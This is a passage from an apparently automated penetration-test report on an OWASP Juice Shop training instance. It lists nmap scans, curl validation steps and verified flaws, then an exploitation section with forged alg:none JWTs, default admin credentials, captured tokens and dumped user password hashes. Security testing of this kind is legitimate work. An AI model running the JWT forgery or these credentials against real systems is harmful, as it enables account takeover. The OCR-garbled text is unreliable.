Return generic password reset errors and suppress stack traces or internal paths in
responses.

SHORT-TERM (1-2 WEEKS)

Centralize error handling for account recovery endpoints and log detailed errors
server-side only.

LONG-TERM (1-3 MONTHS)

Include recovery workflows in secure error-handling standards and recurring

security regression tests.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/rest/user/reset-password’

$ curl -s 'http://<TARGET_DOMAIN>/rest/user/reset-password’ | grep -Ei
" /app/ |routes|node_modules |error|stack’

$ curl -sI 'http://<TARGET_DOMAIN>/rest/user/reset-password’ | grep -Ei

'rate|limit|remaining’

LOW VULN-1lunar-ti-0061
Password Reset Rate Limit Weakness

AV: Rate limit weakness / error disclosure Asset: Password reset functionality

Target: http://172.17.0.4:3000

DESCRIPTION

The password reset workflow allowed approximately 100 requests before rate limiting and
leaked internal errors. A high reset threshold may permit abuse such as user enumeration,
inbox flooding, or brute-force attempts against reset-related workflows.

IMPACT

A high password reset threshold can allow inbox flooding, account enumeration attempts,
or abuse of recovery workflows before throttling occurs. Combined with leaked errors, it
gives attackers feedback for tuning attacks.

DIMENSION RATING
Confidentiality Low
Integrity Low
Availability Low
Compliance Low

EVIDENCE



Password reset rate limit approximately 100 requests; errors leak internal paths.

REMEDIATION

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/rest/user/reset-password’

$ for i in $(seq 1 5); do curl -s -o /dev/null -w '%{http_code}\n’
"http://<TARGET_DOMAIN>/rest/user/reset-password'; done

$ curl -sI 'http://<TARGET_DOMAIN>/rest/user/reset-password’ | grep -Ei

'rate|limit|remaining|retry’




. Target-by-Target Reconnaissance

http://172.17.0.4:3000

Reconnaissance Analysis - http://172.17.0.4:3000

1. TARGET INFORMATION

ATTRIBUTE DETAILS
Target
) http://172.17.0.4:3000
domain/IP
Primary IP 172.17.0.4
Organization No data available for this section.
) Private/internal Docker-style network address observed:
Hosting
172.17.0.4 ; MAC address: 02:42:AC:11:00:04
OWASP Juice Shop 2026; Node.js; Express.js 4.22.1 ; Angular SPA /
Technology Angular Material frontend; JWT authentication using RS256 ;
Stack Overview middleware/components observed or inferred from artifacts:
Morgan, Prometheus metrics
Operating _ )
Nmap OS detection reported Linux 2.6.32 with 100% accuracy ;
System

) host state up , reason arp-response
Observation

ICMP reachable: 2/2 packets received, 0% packet loss, RTT

Reachability
average 0.131 ms
Primary Web
http://172.17.0.4:3000
URL
Application GET / returned HTTP/1.1 200 OK , Content-Type: text/html;

Root Response charset=UTF-8 , Content-Length: 9903



ATTRIBUTE

DETAILS

WAF not confirmed. Detector output was malformed/inconclusive

WAF Status

as no confirmed WAF.

Security

From security.txt : donotreplyamowasp-juice.shop

Contact

CSAF Metadata

Reference

Validated
Credentials

Found

2. NETWORK SERVICES

Open Ports & Services

PORT PROTOCOL STATE

3000 TCP Open

Per-Port Security Concerns

PORT CONCERN

3000/tcp

metrics endpoint

Exposed Prometheus

disclosed in security.txt

SERVICE

HTTP-like web
service; Nmap
initially
misclassified as

ppp? | ppp

VERSION/DETAILS

OWASP Juice
Shop 2026 on
Node.js /
Express.js
4.22.1 ; Angular

SPA frontend

EVIDENCE / DETAILS

GET http://172.17.0.4:3000/metrics

returned 200 ok , approximately

and reported “WAF Detected” with empty signature list [] ; treat

http://localhost:3000/.well-known/csaf/provider-metadata.json

admin@juice-sh.op:admin123 for http://172.17.0.4:3000/#/login

RESPONSE BEHAVIOR

GET /
returned
HTTP/1.1 200
OK ; OPTIONS
returned 204
No Content ;
HTTP root
served SPA
HTML with
Content-Length:

9903

VALIDATION
STATUS

Independently

verified

256KB , with observed byte sizes

25803 / 26085 ; disclosed metrics



PORT

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

CONCERN

Exposed FTP directory

listing/content

Plaintext password hash
disclosed in JWT
payload

Hardcoded admin
credentials in client-

side JavaScript

JWT algorithm none

authentication bypass

Error-based SQL
injection in product

search

Sensitive authentication
details exposure via
IDOR

Internal source code
paths leaked in Express

error pages

Permissive CORS

wildcard policy

EVIDENCE / DETAILS

included nhttp_requests_count ,

file_uploads_count ,

file_upload_errors ; Nuclei template:

prometheus-metrics

GET http://172.17.0.4:3000/ftp

returned 200 oK, 11309 bytes; path

also disclosed by robots.txt via

Disallow: /ftp

JWT-related sensitive data exposure

was verified; raw reconnaissance
noted JWT authentication using

RS256

Valid admin credential identified:

admin@juice-sh.op:adminl23

Authentication weakness involving

JWT algorithm handling verified

Verified during validation

Verified during validation

Verbose Express errors exposed

source paths including /juice-

shop/build/routes/angular.js , /juice-

shop/build/routes/verify.js , /juice-

shop/build/routes/redirect.js ,

/juice-shop/build/lib/utils.js , @ana

/juice-

shop/node_modules/express/lib/router/

Access-Control-Allow-Origin: * ;

allowed methods included

VALIDATION
STATUS

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified



PORT

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

CONCERN

Publicly exposed
Swagger/API

documentation

Valid weak/default

admin credentials

Disclosed application

credentials

Quarantine directory
exposes malware URL

files

/api/Users endpoint

exposes all user data

/api/Challenges
endpoint exposes

challenge solution data

Stored XSS in
Complaints API

Password hash leakage
via savelLoginIp

endpoint

JWT tokens do not

expire

No authentication
enforcement on Al Chat

endpoint

IDOR on

/api/Users/{id}

EVIDENCE / DETAILS

GET ,HEAD,PUT,PATCH,POST,DELETE

/api-docs redirected to /api-docs/ ;
/api-docs/ , /api-docs/README.md ,

and /api-docs/LICENSE accessible

adminajuice-sh.op:admin123 Vvalidated

for OWASP Juice Shop login

Admin credential disclosed:
admin@ajuice-

sh.op:adminl23ahttp://172.17.0.4:3000

Verified during validation

Verified during validation

Verified during validation

Verified during validation

Endpoint observed:

/rest/savelLoginIp

Verified during validation

Endpoint observed: /rest/chat

Verified during validation

VALIDATION
STATUS

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified



PORT

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

CONCERN

Missing authentication

on admin endpoints

Race condition -

checkout double-spend

Race condition - B2B
orders duplicate

processing

Missing authorization on
admin application

configuration endpoint

Missing authorization on
admin application

version endpoint

Authentication bypass

on whoami endpoint

Rate limiting
configuration exposed

in headers

Weak and missing

security headers

Unauthenticated
continue code

disclosure

Redirect error message
discloses attempted
URL

DOM XSS via

bypassSecurityTrustHtml

EVIDENCE / DETAILS

Admin-related paths observed:

/rest/admin , /admin

Verified during validation

Verified during validation

Verified during validation

Verified during validation

/rest/user/whoami returned user

data without valid session

x-ratelimit-1imit , x-ratelimit-

remaining Observed

Observed headers lacked several
common protections; see HTTP

Security Headers section

Endpoint observed: /rest/continue-

code

Redirect endpoint observed:
/redirect?to=, /redirect?to=http,

/redirect?to=https

Verified during validation

VALIDATION
STATUS

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified



PORT

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

CONCERN

document .write() data

export XSS vector

Reflected DOM XSS in

search functionality

Rate limiting bypass via

X-Forwarded-For

User address PII

exposure

API schema validation

disclosure

Race condition -
duplicate complaint

submissions

Insecure session cookie

attributes

Shopping basket IDOR

Complaints data
exposure via missing

ownership checks

Sensitive path
disclosure in

robots.txt

Hidden route disclosure
via X-Recruiting

header

Internal URL and hidden
route disclosure in

security.txt

EVIDENCE / DETAILS

Verified during validation

Verified during validation

Verified during validation

Endpoint observed: /api/Addresss

Verified during validation

Verified during validation

Verified during validation

Verified during validation

Verified during validation

/robots.txt returned 200 ok and

contained Disallow: /ftp

Header observed: X-Recruiting:

/#/jobs

/security.txt and /.well-
known/security.txt returned 200 0K ;
disclosed Acknowledgements:

/#/score-board , Hiring: /#/jobs ,

CSAF URL

VALIDATION
STATUS

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified



PORT

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

3000/tcp

CONCERN

FTP extension
restriction logic

disclosed

Unauthenticated

internal data leakage

Default admin image

exposed

CSAF provider

metadata exposure

Unprotected large

media file

Internal IP references

exposed in client-side

code

Internal metadata and

network references

disclosed

Password reset

information leakage

Password reset rate

limit weakness

Service Detection Notes

OBSERVATION

Full TCP scan

UDP scan

DETAILS

Only confirmed open TCP port from full scan: 3000/tcp

UDP full-port scan timed out; no UDP services confirmed

EVIDENCE / DETAILS

http://localhost:3000/.well-

known/csaf/provider-metadata. json

Verified during validation

Verified during validation

Verified during validation

CSAF metadata URL disclosed:
http://localhost:3000/.well-

known/csaf/provider-metadata. json

/Video returned 200 0K , 4194304

bytes

Verified during validation

Verified during validation

Endpoint observed:

/rest/user/reset-password

Endpoint observed:

/rest/user/reset-password

VALIDATION
STATUS

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified

Independently

verified



OBSERVATION

Nmap TCP full

scan command

Nmap detailed
service scan

command

Nmap service

classification

SPA routing

behavior

Vhost scan

External OSINT

Structured

service data

Evidence: TCP

scan

Evidence: Nmap

output

Evidence: Nuclei

output

Web discovery
evidence

directory

Additional saved

artifacts

3. WEB ASSETS

DETAILS

nmap -oX - -p 1-65535 -sS -sV --min-rate 1000 -0 -T4 --host-

timeout 10m --max-retries 2 172.17.0.4

nmap -oX - -p 3000 -sT -sV --version-intensity 9 --script=http-
enum, http-headers,http-methods,http-server-header,http-title -T4

--host-timeout 5m --max-retries 2 172.17.0.4

Nmap misclassified the service as ppp? ; HTTP behavior

confirmed through direct responses

Angular SPA wildcard routing caused many nonexistent paths to
return 200 ok with index.html ; example random UUID path

returned length 9903

Gobuster vhost scan found no virtual hosts; wordlist:

./tools/web/wordlists/subdomains-5k.txt

Skipped because target is a private IP address

Provided structured service dataset reported @ services ; raw

reconnaissance confirmed 3000/tcp as open

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/recon/port_scan/tcp_scan_full.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/recon/vuln_scan/nmap_output.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/recon/vuln_scan/nuclei_output.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/recon/web_discovery/

directories.txt , sensitive_files.txt , vhosts.txt ,
api_endpoints.txt , technologies.txt , screenshots/ under
./output/lunar-tiger-strikes/172.17.0.4_3000-

696/recon/web_discovery/



Discovered Subdomains

SUBDOMAIN / VHOST RESULT
No subdomains or virtual Gobuster vhost scan against
hosts discovered http://172.17.0.4:3000 returned no results

Public Pages & Endpoints

STATUS /
URL / PATH DETAILS
BEHAVIOR
Root application page; Angular SPA;
Content-Type: text/html;
http://172.17.0.4:3000/ 200 0K
charset=UTF-8 ; Content-Length:
9903
Client- ) )
) Disclosed via HTTP response
/#/jobs side route
) header X-Recruiting: /#/jobs
disclosed
Client- ) )
) Disclosed via security.txt
/#/score-board side route
) acknowledgement reference
disclosed
/robots.txt 200 OK Contains Disallow: /ftp
Exposed FTP-style directory
/ftp 200 0K o
listing/content; 11309 bytes
Prometheus metrics endpoint;
approximately 25kB ; observed
sizes 25803 / 26085 bytes;
/metrics 200 0K .
included http_requests_count ,
file_uploads_count ,
file_upload_errors
Contains Contact:
mailto:donotreplyaowasp-juice.shop ,
Acknowledgements: /#/score-board ,
/security.txt 200 OK

Hiring: /#/jobs , CSAF URL
http://localhost:3000/.well-

known/csaf/provider-metadata. json



URL / PATH

/ .well-known/security.txt

/api-docs

/api-docs/

/api-docs/README . md

/api-docs/LICENSE

/api-docs.json

/api/swagger

/api/swagger. json

/api/openapi . json

/api/vil/swagger. json

/api/v2/swagger. json

STATUS /
BEHAVIOR

200 OK

301

200 OK

200 OK

200 OK

500
Internal
Server

Error

500
Internal
Server

Error

500
Internal
Server

Error

500
Internal
Server

Error

500
Internal
Server

Error

500
Internal
Server

ERROR

DETAILS

Same security contact and

disclosure metadata observed

Redirects to /api-docs/

Public API documentation exposed

API documentation file accessible

API documentation license file

accessible

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure



URL / PATH

/api/graphqgl

/api/graphigl

/api-explorer

/api/documentation

/api

/apis

/api/experiments

/api/experiments/configurations

STATUS /
BEHAVIOR

{510[0]
Internal
Server

ERROR

{510[0]
Internal
Server

ERROR

500
Internal
Server

Error

500
Internal
Server

ERROR

500
Internal
Server

ERROR

{510[0]
Internal
Server

ERROR

(510[0]
Internal
Server

ERROR

{510[0]
Internal
Server

ERROR

DETAILS

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure

Verbose Express stack trace /

internal path disclosure



URL / PATH

/restricted

/Video

/redirect?to=

/redirect?to=http

/redirect?to=https

/.env

/.git/config

/actuator/health

/admin

[text/

API Endpoints

ENDPOINT

/rest/user/whoami

STATUS /
BEHAVIOR

{510[0]
Internal
Server

ERROR

200 OK

Observed

Observed

Observed

200 OK

200 OK

Observed

Observed

Observed

STATUS /

DETAILS

Verbose Express stack trace /

internal path disclosure

Large media file exposed; 4194304

bytes

Redirect-related endpoint
observed; validated issue was
redirect error message disclosure

of attempted URL, not open redirect

Probe path observed

Probe path observed

Served SPA HTML fallback, not an

actual .env file

Served SPA HTML fallback, not

actual Git config

Endpoint discovered during
reconnaissance; status not

provided

Admin-related path discovered;

status not provided

Endpoint discovered during
reconnaissance; status not

provided

DETAILS / SECURITY-RELEVANT NOTES

BEHAVIOR

Returned user

Authentication bypass on whoami

data without

endpoint independently verified

valid session



ENDPOINT

/rest/continue-code

/rest/chat

/rest/admin

/rest/user/reset-

password

/rest/savelLoginIp

/rest/deluxe-

membership

/rest/web3

/api/Recycles

/api/Addresss

/api/Users

/api/Users/{id}

/api/Challenges

Complaints API

STATUS /
BEHAVIOR

Observed

Observed

Observed

Observed

Observed

Observed

Observed

Observed

Observed

Verified during

validation

Verified during

validation

Verified during

validation

Verified during

validation

DETAILS / SECURITY-RELEVANT NOTES

Unauthenticated continue code

disclosure independently verified

No authentication enforcement on Al

Chat endpoint independently verified

Missing authentication on admin

endpoints independently verified

Password reset information leakage and
password reset rate limit weakness

independently verified

Password hash leakage via savelLoginIp

endpoint independently verified

Endpoint discovered during

reconnaissance

Endpoint discovered during

reconnaissance

Endpoint discovered during

reconnaissance

User address Pll exposure independently

verified

Endpoint exposes all user data; note: the
separate claim of “Unauthenticated User
Data Exposure via /api/Users " was
invalidated and is not reported as a

finding

IDOR independently verified

Exposes challenge solution data

Stored XSS, duplicate submission race

condition, and missing ownership checks



ENDPOINT

Product Search

API/functionality

Shopping Basket

functionality

Checkout

functionality

B2B Orders

functionality

Admin Application
Configuration

endpoint

Admin Application

Version endpoint

JavaScript Assets

ASSET / DEPENDENCY

Angular SPA
JavaScript

Angular Material

Client-side
JavaScript

credentials

DOM XSS sink

Data export XSS

vector

Internal references

STATUS /
BEHAVIOR

Verified during

validation

Verified during

validation

Verified during

validation

Verified during

validation

Verified during

validation

Verified during

validation

DETAILS

DETAILS / SECURITY-RELEVANT NOTES

independently verified

Error-based SQL injection and reflected
DOM XSS in search functionality
independently verified

Shopping basket IDOR independently

verified

Race condition / double-spend

independently verified

Duplicate processing race condition

independently verified

Missing authorization independently

verified

Missing authorization independently

verified

Application identified as Angular SPA using HTML5 and

script type=module

Frontend dependency identified

Hardcoded admin credentials independently verified;

credential observed: adminajuice-sh.op:adminl23

DOM XSS via bypassSecurityTrustHtml independently verified

document.write() data export XSS vector independently

verified

Internal IP references exposed in client-side code

independently verified



ASSET / DEPENDENCY DETAILS

. No specific JavaScript filenames were provided in the raw
JavaScript file names ]
reconnaissance data

4., SECURITY CONFIGURATION

SSL/TLS Certificate Details

ATTRIBUTE DETAILS

Scheme Observed HTTP

TLS/SSL Enabled No data available for this section.
Certificate Subject No data available for this section.
Certificate Issuer No data available for this section.

Validity Period No data available for this section.
SANs No data available for this section.
Cipher Suites No data available for this section.
TLS Protocol Versions No data available for this section.

HTTP Security Headers

HEADER STATUS OBSERVED VALUE / NOTES

Access-Control- * ; permissive wildcard CORS policy
® Present

Allow-Origin independently verified
Access-Control- ® Prosent Allowed methods included

Allow-Methods GET,HEAD, PUT ,PATCH,POST , DELETE

X-Content-Type-
® Present nosniff
Options

X-Frame-Options . Present SAMEORIGIN

Feature-Policy . Present payment 'self’



HEADER

X-Recruiting

x-ratelimit-

limit

x-ratelimit-

remaining

Accept-Ranges

Cache-Control

Last-Modified

ETag

Content-Type

Content-Length

Content-Security-

Policy

Strict-Transport-

Security

Referrer-Policy

Permissions-

Policy

X-XSS-Protection

STATUS

® Present

® Present

Present

Present

Present

Present

Present

Present

® Present

> Not observed

in provided data

> Not observed

in provided data

> Not observed

in provided data

> Not observed

in provided data

> Not observed

in provided data

Content Security Policy Analysis

OBSERVED VALUE / NOTES

/#/jobs ; hidden route disclosure

independently verified

Rate limiting configuration exposed in

headers

Rate limiting configuration exposed in

headers

bytes

public, max-age=0

Fri, 12 Jun 2026 07:41:02 GMT

W/ "26af-19ebac6f842"

text/html; charset=UTF-8

9903 on root page

Weak/missing security headers

independently verified

Target was accessed over HTTP; no HSTS

data provided

No value provided in reconnaissance data

Feature-Policy Observed instead; no

Permissions-Policy Value provided

No value provided in reconnaissance data

No Content-Security-Policy header was observed in the provided reconnaissance data.

Multiple client-side/script-related issues were independently verified, including:

ISSUE

DOM XSS via bypassSecurityTrustHtml

VALIDATION STATUS

Independently verified



ISSUE VALIDATION STATUS

document .write() data export XSS vector Independently verified
Reflected DOM XSS in search functionality Independently verified
Stored XSS in Complaints API Independently verified

Additional Configuration and Disclosure Notes

AREA DETAILS

Multiple paths returned 500 Internal Server Error With verbose

Express stack traces, including /api , /restricted, /api-
Express error
docs.json , /api/swagger , /api/swagger.json , /api/openapi.json,

disclosure
/api/vl/swagger.json , /api/v2/swagger.json , /api/graphqgl ,
/api/graphiql , /api-explorer , and /api/documentation
/juice-shop/build/routes/angular.js ; /juice-

Internal source shop/build/routes/verify.js ; /juice-

paths leaked shop/build/routes/redirect.js ; /juice-shop/build/lib/utils.js ;
/juice-shop/node_modules/express/lib/router/

Public /api-docs/ , /api-docs/README.md , and /api-docs/LICENSE were

documentation publicly accessible

Contact: mailto:donotreplyaowasp-juice.shop ; Acknowledgements:
security.txt
/#/score-board ; Hiring: /#/jobs ; CSAF URL

disclosures

http://localhost:3000/.well-known/csaf/provider-metadata.json
robots.txt

Disallow: /ftp
disclosures

. x-ratelimit-limit and x-ratelimit-remaining headers disclosed

Rate limiting ) ) . )

configuration; rate limiting bypass via X-Forwarded-For
exposure ] n

independently verified

JWT authentication using rs256 observed; JWT algorithm none
JWT

) ) authentication bypass and non-expiring JWT tokens
configuration
independently verified

Invalidated Open redirect in redirect endpoint; unauthenticated user data
findings exposure via /api/Users ; NOSQL injection error-based

excluded information disclosure






. Target-by-Target Exploitation

http://172.17.0.4:3000

Exploitation Details - http://172.17.0.4:3000

Target

target: http://172.17.0.4:3000

host: 172.17.0.4

service: 3000/tcp HTTP

application: OWASP Juice Shop 20.0.0 / OWASP Juice Shop 2026
framework: Express.js "4.22.1 / Node.js

frontend: Angular SPA

auth: JWT RS256, but forged alg:none JWTs accepted by multiple endpoints

Note: The raw chunk contains conflicting summary text stating EXPLOITED
VULNERABILITIES (0) , but the detailed evidence repeatedly confirms successful

exploitation/auth bypass, stored XSS, IDOR/BOLA, race conditions, credential login, and

sensitive data exposure.

Successful exploits

1. Critical JWT a1g:none authentication / authorization bypass

severity: Critical
type: JWT algorithm confusion / unsigned token acceptance
target: http://172.17.0.4:3000
impact:
- Authentication bypass
- Authorization bypass
- Admin impersonation
- Arbitrary role/user claims accepted
- Full user database exposure

- Admin/API endpoint access

Forged JWT headers observed



{vvtgp" . "JWT" s "ng" . vvnonevv}

{"ng" . vvnonevv s vvtgpvv . "JWT"}

Forged claims accepted

admin_payload:
id: 1
email: adminajuice-sh.op

role: admin

customer_payload:
id: 2
email: jima@ajuice-sh.op

role: customer

testing_payload:
id: 22
email: testingajuice-sh.op

role: admin

Forged admin JWT accepted

eyJhbGciOiJub251TiwidHIwIjoiS1dUING.eyJzdGFOAXMiOiJzdNjZXNzIiwiZGFOYSIB6eyJpZCIBMSwizZI

1halWwiOiJhZGlpbkBqdiljZS1zaC5vcCIsInJvbGUi0iJhZGLlpbiJILCJIpYXQi0jESODEYNTQwOTd9.

Additional forged none-algorithm JWT used against /api/Users

eyJOeXAiOiAiS1dUIiwgImFsZyI6ICJub251In0.eyJzdGFOdAXMi0iAic3VjY2VzcyIsICJIJkYXRhIjogeydpZzC
I6GIDEsICJ1c2VybmFtZSIBICIiLCALZWLhalWwiOiAiYIWRtalWbAanVpY2Utc2gub3AilCAicGFzc3dvemQiOiAi
MDESMjAYyM2E3YmJIkNzMyNTALMTZmMDY5ZGY xOGIAMDAiLCAicm9sZSIBICIhZGLpbiIsICIkZINx1eGVUb2t1bi
IBICIiLCAibGFzdExvZ21uSXAi0iAiIiwgInByb2ZpbGVJIbWFNZSIBICJhc3N1dHMvcHVibGljL21tYWdlcy9l
cGxvYWRzL2R1ZmF1bHRBZG1pbibwbmcil CAidGOOcFN1Y3J1dCIBICIiL CAiaXNBY3RpdmUiOnRydlUsICJjcm
VhdGVkQXQi0iAiMjAyNiOwNiOxMiAwOToxNToOMy420DYgKzAw0 jAWIiwgInVwZGFOZWRBACIBICIYMDI2LTA2

LTEYIDAS50jEL10jQzLjYANiArMDAGMDALILCAiZGVsZXR1ZEFOIjogbnVsbHOsICJIpYXQi0iAxNzgxMjU4MDcyfQ

Endpoints successfully accessed with forged alg:none JWT



accepted_endpoints:
- GET /rest/user/whoami
- GET /api/Users
- GET /api/Challenges
- GET /rest/admin/application-configuration
- GET /rest/admin/application-version
- GET /rest/user/authentication-details/
- GET /api/Complaints
- GET /api/Products

- GET /api/SecurityQuestions

Evidence

GET /api/Users:
forged_jwt: alg:none
result: 200 OK
no_auth_result: 401 Unauthorized
no_auth_error: No Authorization header was found

impact: bypass requires forged token and exposes users

GET /rest/user/whoami:
forged_jwt: alg:none
result: 200 OK

v

body: '{"user":{}}

GET /rest/admin/application-configuration:

result: 200 OK

impact: admin config disclosed

GET /rest/admin/application-version:
result: 200 OK

version: 20.0.0

GET /rest/user/authentication-details/:
result: 200 OK
size: 10344 bytes

impact: all user authentication metadata disclosed

GET /api/Complaints:




result: 200 OK

impact: all complaint records disclosed

Evidence artifacts

./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/auth_bypass/auth_bypass_evidence. json
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/auth_bypass/alg_none_jwt_poc.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/auth_bypass/alg_none_jwt.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/auth_bypass/admin_config_disclosure.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/access_control_testing/forged_tokens.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/access_control_testing/jwt_forgery_poc.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/exploit_search/jwt_alg_none_exploit.py
./output/lunar-tiger-strikes/172.17.0.4_3000-

696/exploitation/exploit_search/jwt_alg_none_evidence.txt

2. Valid admin credential login

severity: High
type: weak/default/hardcoded credentials
endpoint: POST http://172.17.0.4:3000/rest/user/login
credentials:
- admin@juice-sh.op:adminl23
- testingajuice-sh.op:IamUsedForTesting
impact:
- Admin JWT issued
- Admin metadata disclosed

- Admin authenticated access

Confirmed valid credentials

adminajuice-sh.op:adminl23ahttp://172.17.0.4:3000/rest/user/login
adminajuice-sh.op:adminl23ahttp://172.17.0.4:3000/#/1login
adminajuice-sh.op:adminl23ahttp://172.17.0.4:3000

testingajuice-sh.op:IamUsedForTestingahttp://172.17.0.4:3000/rest/user/login




Hardcoded credentials evidence

source: client-side JavaScript
file: main.js
line: 3137
credentials:
- admin@juice-sh.op:adminl23
- testingajuice-sh.op:IamUsedForTesting
additional_static_secret:

- password:passwordamain. js:3109

Login result evidence

endpoint: POST /rest/user/login
result: 200 OK
returned:

- RS256 JWT Bearer token

- admin metadata

- id: 1

- role: admin

- email: adminajuice-sh.op

- bid: 1

- umail: adminajuice-sh.op

Captured admin RS256 JWT

eyJ0eXAi0iJKV10ilCIhbGei0iJSUzILNLJ9. eyJzdGFOAXMi0iJzdNZXNzIiwiZGFOYSIBeyJpZCI6MSwid
XN1cmBhbWUi0iIilCJ1bWFpbCISImFkbWluQGplaWN1LXNoLmOwIiwicGFze3dvemQioiIwMTkyMDIzYTdiYmQ
3MzILMDUxNmYwN§1kZE4AY{UnMCIsInJvbGUi0iJhZG1pbiIsImR1bHVAZVRva2VuljoiliwibGFzdExvZ21uS
XAi0iIilCJIwomOmallix1SWihZ2Ui0iJhc3N1dHMycHVibG1 L21tYId1oy91lcGxvYWRzL2R1ZmF1bHRBZG1pbi5
wbmecil CJOb3RWURV i cmVOT joiIiwiaXNBY3RpdmUiOnRydilUs ImNyZWFOZWRBACIGT § TwiYtMDYtMTIgMDk6EM
TABNDAUNTKOICswMDowMCIsInVwZGFOZWRBACIBT  IwM{YtMDYtMTIgMDkBMTABNDAUNTkOICswMDowMCIsImR
1bGVOZWRBACIBbnVsbHOsImlhdCIBMTcAMTILNTQOOHO . DSZUnERPESZSTVigH2E2VdB9F TNRTYdBq i FSEFAMT
0GUTZGGWQBXNO2I_LefQZ4niRSTpl6etedyuhQFfilMRtp0ixprdfkivlZeeYmvMySyvOacDKitESJ2IAFLDEeJFhE

OwXOOHWpPHOWg_i4R_0jGqUZtRgRMy54sFXy4K5ifBGuw

Additional captured admin JWT

eyJO0eXAi0iJKVLQiLCJIhbGci0iJSUZzILINiJ9. eydzdGFOAXMiOiJzdWNjZXNzIiwiZGFOYSI6eyJpZCIBMSwid
XN1cmb5hbWUiOiIil CJ1bWFpbCIBImFkbWluQGplalNILXNoLmOwIiwicGFzc3dvemQiOiIwMTkyMDIzYTdiYmQ

SMzIAMDUXNmYwNj1lkZFEAYjUWMCIsInJvbGUi0iJhZGlpbiIsImR1bHV4ZVRva2VuljoiIliwibGFzdExvZ21uS



XA10iIilCIwemOmalWx1SWihZ2Ui0iJhc3N1dHMvcHVibG1ljL21tYWd1lcy91lcGxvYWRzL2R1ZmF1bHRBZG1pbib
wbmcil CJOb3RwU2VjcmVOIjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWFOZWRBACIBI jIwMjYtMDYtMTIgMDk6BM
TUBNDMuNjg2ICswMDowMCIsInVwZGFOZWRBACIGI jIwMjYtMDYtMTIgMDk6MTUBNDMuUNjg2ICswMDowMCIsImR
1bGVOZWRBACIBbNVsbHOsIm1hdCIBMTc4MTIL0DA3MNO . ouwl s60FOYUAuhn56TgmOburgAEMUYWZaHIxcY4Ja
IPgqJfpupiwFabcJMglL8XnZepSMML _PD41SS39g-43 immK8qYWVCqUQvkToZMOONYXIWrZQZXVXVNMp juGL -

BmNop-_T9r_IDVnVdTi8yONG7cQUu_FkDH-fUZfLuNAjuhc

Credential caveat

conflict: one raw note reported adminajuice-sh.op:adminl23 returned 401 Invalid email
or password

consolidated_result: credential also repeatedly reported VALID and returned admin JWT

3. Full user database exposure

severity: High/Critical
type: sensitive data exposure / broken access control
endpoint: GET http://172.17.0.4:3000/api/Users
auth_contexts:

- forged alg:none admin JWT

- forged alg:none customer JWT

- valid admin JWT

- raw evidence also reports unauthenticated 200 OK in some runs

Results

GET /api/Users:

result: 200 OK
response_sizes:

- 8068 bytes
exposed_records:

- 22+ users

- 26 users in one report
data_exposed:

- ids

- emails

- usernames

- roles

- MD5 password hashes

- deluxeToken values




- profile image paths
- activity state
- timestamps

- user metadata

Notable exposed users

users:
- id: 1
email: adminajuice-sh.op
role: admin
password_hash: 0192023a7bbd73250516f069df18b500

profileImage: assets/public/images/uploads/defaultAdmin.png

- id: 2
email: jimajuice-sh.op
role: customer
password_hash: 0192023a7bbd73250516f069df18b500

profileImage: assets/public/images/uploads/default.svg

- id: 3
email: benderajuice-sh.op
role: customer

profileImage: assets/public/images/uploads/default.svg

- id: 4
username: bkimminich
email: bjoern.kimminichagmail.com
role: admin

profileImage: assets/public/images/uploads/defaultAdmin.png

- id: 5
email: ciso@juice-sh.op
role: deluxe
deluxeToken: d715c2¢c75d4a42d38250050e000163¢c1959b51165373T17bd8eed7bledbbf20d

profileImage: assets/public/images/uploads/default.svg

- id: 6
email: supportajuice-sh.op
role: admin

profileImage: assets/public/images/uploads/defaultAdmin.png




- id: 9
email: J12934ajuice-sh.op

role: admin

- id: 10
username: wurstbrot
email: wurstbrotajuice-sh.op

role: admin

- id: 12
email: bjoernajuice-sh.op

role: admin

- id: 22
email: testinga@ajuice-sh.op
role: admin

password_hash: b616a64605007941fbd31868aeadbb4b

Additional deluxe tokens exposed

deluxe_tokens:
